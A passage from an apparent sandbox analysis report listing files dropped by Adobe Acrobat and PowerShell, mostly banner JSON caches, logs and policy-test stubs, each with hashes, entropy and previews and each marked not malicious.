SHA-512:	F6CA2E46C1CEBD50F3AAB39ECC5979C60F558467ECD0D5EE89D80D510A83A8539C96882F8AFDA27A3E2478CCFC633F4F8CDAB4158BD79D84656417FCEE6575E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326933850587076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfFldPeUkwRe9:YvXKXa1IVJEZc0vyMGz8Ukee9
MD5:	BFBA858A433A016DA545AE523A753BA9
SHA1:	B79168BA1C9C6EA5A3EA71B6E3131961775CB83B
SHA-256:	8E3D1B23474E091186B8512D55DB63F439383844737249E4F980F0F216AE4B8D
SHA-512:	F6BDA20B562F795AD5240EA71938FB9C7F1CE7B4114AA23C672F5CEC415355237660D80BC1DBA179F7157F005C287BECF22DD0E6051FAAA685D4FAA964F6EC47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342094432988252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfzdPeUkwRe9:YvXKXa1IVJEZc0vyMGb8Ukee9
MD5:	E399A54773805A04E712B4FB82211558
SHA1:	F69DA9404A4B60A9E0BEEC75F810381DF7F9E0E4
SHA-256:	A3F9263219DCD3D6DE5724BBDF9E16FD1C2C83C38D3760828D4A268D1A1B21BC
SHA-512:	74405149D3B2F92B242E5FAC7794CFE6EF3670D612FFA27F3E1B37BABA73C871472549D0010C3FDEF5402CC13CB17FEE593CBB9ABD3DBB78885741436E682F7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3229162776614825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfYdPeUkwRe9:YvXKXa1IVJEZc0vyMGg8Ukee9
MD5:	4515487722D1CED42C2C16B69051B9C0
SHA1:	B880855AD02BA19B2132B655C86B72A728F442A5
SHA-256:	0DFABE8AD52A8FBA53D15B3E49B910BD32E8B6A41DC59E6E95063EC4ED5F9D03
SHA-512:	D2BAA27615B04CC4F16BB9E55F59312FFDB02B16783C003378F6F5BACF03DACAD225C4A2FB5DB3C0659774C361B205C904252BB7AAAD054B960B04B9BFDF5D26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309669097004629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJf+dPeUkwRe9:YvXKXa1IVJEZc0vyMG28Ukee9
MD5:	7304BF85B9B954EAEDC945332B45A0DE
SHA1:	9DD358DC9823B111E5B0E065D03693805DA9AB29
SHA-256:	E7E0C0DD7ED65F90DDB2B369BC187B79C51EF735F4115BDC8C9599389B1A7F6C
SHA-512:	1064FF4239BC5497D002D801975DCF6A89633C93D1FD889D1CA324E9F6A4F967392E903FF4114764E4CE6FB86E768F857CE924D7615098DEE78CAF1B166485DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306305875145233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfbPtdPeUkwRe9:YvXKXa1IVJEZc0vyMGDV8Ukee9
MD5:	C7E5D989F1857D1592ECF8EF45D30966
SHA1:	5D883F079559A68820B7C3AA00316ED12B303102
SHA-256:	81E1E4644CDAFEAA706E86D081564CEF5BDDCE448B9058A237F723AE0B83AC82
SHA-512:	1F9D1DF4F9C9266FCE01AA371C341F6615CE57D4817D107EF86E578D35119A0041DD0F472F5F114F3359BECD11B98E4F4002E132FFF9FAC8C7F668B94549C48D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.310960142675191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJf21rPeUkwRe9:YvXKXa1IVJEZc0vyMG+16Ukee9
MD5:	146869DE6C8A56714242E48CFFCCDDAF
SHA1:	365DF2086A68C9C2381B9125C19EF9EFB46DD83F
SHA-256:	3A88599D236736CEA1EB33550E69555708A93D21A0BB3D4DBA4A235E5007DBC7
SHA-512:	09EEE8558B3592CB8A3461EE5AA24F70B80F8E81119FB34425B4B4B9B5ED8E2739D6BAED63E2FAF245EABFBF4E882A8DEE9D30BC542735D9BA5B71936245EBD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669259908045435
Encrypted:	false
SSDEEP:	24:Yv6Xo6EzvOamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:YvdIBgkDMUJUAh8cvMH
MD5:	660E7C053D8BC14D17D4967162614933
SHA1:	90A6F048F8AE8F3CBD367F69ABD979CECA25E6DA
SHA-256:	F789A821C4132C3F84B288D9DFF570B4D5C3EDAD4804DBE69DF4EE3B6381B921
SHA-512:	EDF43EA52C5D0871920113C53B9110FFA252DCB78A4990AB58F2F3117D1072C0F48243D46B7D7D56FAD03DEA262A687591A7931C93955B116D781540E935A454
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.288012267967613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJfshHHrPeUkwRe9:YvXKXa1IVJEZc0vyMGUUUkee9
MD5:	DBFF425BE74672890D84E6872490AA62
SHA1:	8FE991179576B6A121D7C9CB84CB6C5734399A8A
SHA-256:	F55CB19AC1AE8A385EEFA33B171BB71FA16BD498E765C3C81B777AC75F01C460
SHA-512:	754834DED23B91ED0461CFEDC6D632B05F464D3787FAC030CD4EFC1E738465A503296D645B75E40CCB53C9BB0C9BFC03D7DAFEE3E7E776A135C73AB5C85820CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.296968825759113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGIEIVJ9VoZcg1vRcR0YJjoAvJTqgFCrPeUkwRe9:YvXKXa1IVJEZc0vyMGTq16Ukee9
MD5:	AACA7AA03CED36B30B72C7BDA4F1E1AA
SHA1:	5AC2345710326522B8DA80C286647C157C2D1476
SHA-256:	25A9C52CFFBE80C17CE04AF39A4DF85C99C28EF1D861925AAA01F3EC04B3FE03
SHA-512:	B735F1DA30DD2A23DC988CECF66E14F613DB1D918D3776052B3DE6B43A840F82013F1F5355597A307E69ECC23790657FC8D98015A6B32A255E36C4147A04EAC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c38f799-c3b1-4d21-83b6-8497602e8ae5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736732405893,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146014776430147
Encrypted:	false
SSDEEP:	24:YhPPaNgayxnvX9ZhQ4+SFj/Yj0SjVl72RS2LStCX67df9MLlJHVbI5Gwf9XYBvuV:YbvX9yU/abNLEIPMLlYcwf9X06
MD5:	95EE9A26E77032E6CBD3E959FC6A1545
SHA1:	7AF7F47492F351FDE130D60BADCA618E212177F7
SHA-256:	3E51A530B3C6B30CB8B1FC8655F5002153F64672592FF14904A1970A0BD03639
SHA-512:	395D5080A903B076863E2B58D81EE23C4984466C3F71E75D1401CB3B77FCDF901B7B7D8EA33A9C07078456404B910D1E9BA2320E8E8B00A1F161A159B525A5AF
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"93c16e7e6d6078d2f97c7669237f9254","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558164000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0a31c8435f22ed4ed72c364374ef9613","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558164000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c95fb5fe305b0bc1efb521b2472df3e9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558164000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0fb7931cea6458caf54a1e37a95d1298","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558164000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"270fcaea15de4006b93707fbf0a7ad09","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558164000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"92ccfdcf9c14d1702903f8063823c6d4","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886595978666235
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU8soSvR9H9vxFGiDIAEkGVvposG:lNVmswUUUUUUUUU+FGSIt6
MD5:	DD3AAFFB409CD9E8EBDDF2808A165637
SHA1:	07E7A20A40A442EAB2403A5837B826169B1C0039
SHA-256:	E9D0ECC03F17180E0B09DDBEC8BCD3174D7ED8B7F2BDBA8E066CC7FB4ADF95A0
SHA-512:	0DA1B9F1FF9507A5A476FD1DFAC5A25BBC9C39F489F4FAC46872B83A3106F2A9BB7B1F92B8D4D83997E35764AE2C89B4228747E3A005AB6CDEBD6D770309D86E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6073740956491063
Encrypted:	false
SSDEEP:	48:7MjKUUUUUUUUUU8sqvR9H9vxFGiDIAEkGVvoqFl2GL7msh:7VUUUUUUUUUU6FGSItmKVmsh
MD5:	2B0AEBE1CA6B0F144E258A282DA9B996
SHA1:	F7F646F3829488143AC886AED9ADCC88F6D90C94
SHA-256:	102932AF4517CD525D13996E048D42D2C9B56F2E0777C7CA3E1FDEB8D9D6145B
SHA-512:	A1B77569F85EF1728D9848CCC7C3056C2C5D79CA0804660C4623F6CE11A6531A688B779195219D55ED592180F70324101737344A2F8D551565A8546CBC0C9D03
Malicious:	false
Preview:	.... .c.....]I.O......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgRtDvU19enIU0tsF/27i9lXcqCPZiYyu:6a6TZ44ADE/DvU19eIU0V7QK
MD5:	1DE7C9761BBA23611B41E22C4FC97732
SHA1:	8DB70AB4F014A4D8CED5BDC66775FD098BC6400D
SHA-256:	72A6A5C7207C83E569153B89E1C332E248730A49EA93464ED0761F6992910562
SHA-512:	4295516A1CD8EBD7FBF9415CD82ADC76535A0791665E685E198D90CAE30B2D5057A4E82BA4B2F08470CCCC6C3D6474AED582467938194549FF6FC5E56F97E93F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIba3b3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClYqwCH:Qw946cPbiOxDlbYnuRK+blql
MD5:	82275DBA020117C9F8A2BFEF6D23DAF2
SHA1:	94226D1708B488D28AAA7A5D7B5EE81A06279040
SHA-256:	BAD2863C7A6E1759228FF378E2056F271A9AAF2F5F9EC401D85090CF867EF80F
SHA-512:	617DB92E134AB9870C1E317C6F92D0B6CA8B9AA9C62594A19DD8B6CDE19DFDD7985C9BC46B8DEEF3C2D1C4BF340DC8D6A169CA819544442C6C6F37CA8384B594
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.6.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4e2tnrse.1wm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5niohlmz.mge.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-15-57-816.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3514439877828766
Encrypted:	false
SSDEEP:	384:IS+7uu28Ua0TKBB8qBSpzJDy6Z6Mj48xSx+8auMaQZYd3MFsc7DLClCPaVzD16Sf:OiY
MD5:	F9E5E2014D94F323C00CA09176023C80
SHA1:	A69DBB721B5EF7479F65B4A1120A577AF6BAD4A2
SHA-256:	5EAA8627B71164C6E3D633DFC136A6250E7CC3718936CA327D3A70AB4584AB71
SHA-512:	F3A68F4BE0CE2CEDA0FD16A49215E994952E0CF409A2BC7DAB5C055ACAF4155C4EF3E44421E28DA956A99C813F18A10162FA35420F1D3B9EA5492C0D75E935FE
Malicious:	false
Preview:	SessionID=6b72b539-2f26-4021-a6a8-dfa7ca320b2a.1736558157842 Timestamp=2025-01-10T20:15:57:842-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6b72b539-2f26-4021-a6a8-dfa7ca320b2a.1736558157842 Timestamp=2025-01-10T20:15:57:846-0500 ThreadID=7860 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6b72b539-2f26-4021-a6a8-dfa7ca320b2a.1736558157842 Timestamp=2025-01-10T20:15:57:846-0500 ThreadID=7860 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6b72b539-2f26-4021-a6a8-dfa7ca320b2a.1736558157842 Timestamp=2025-01-10T20:15:57:846-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6b72b539-2f26-4021-a6a8-dfa7ca320b2a.1736558157842 Timestamp=2025-01-10T20:15:57:846-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389628531542202
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rU:Fu
MD5:	37F72199D0AD988FA7FAF691D0BA6839
SHA1:	6DA7DF5201FBD141FEA0CAB7BAE4BC363FB58858
SHA-256:	A53C854E15C98A8B70B51F77FCA3C67E09A5E0BE678A92EFB95DEB1CF99CFEED
SHA-512:	6C8CA46F5B3D59C65C828FB96FFA0366E1B71EADE0E3546E24ADBB44371460B0A7EC8525528CDEFD51DB8A66E81D2BD82C2AB626125BB123C1B9EB3E9F15E5A9
Malicious:	false
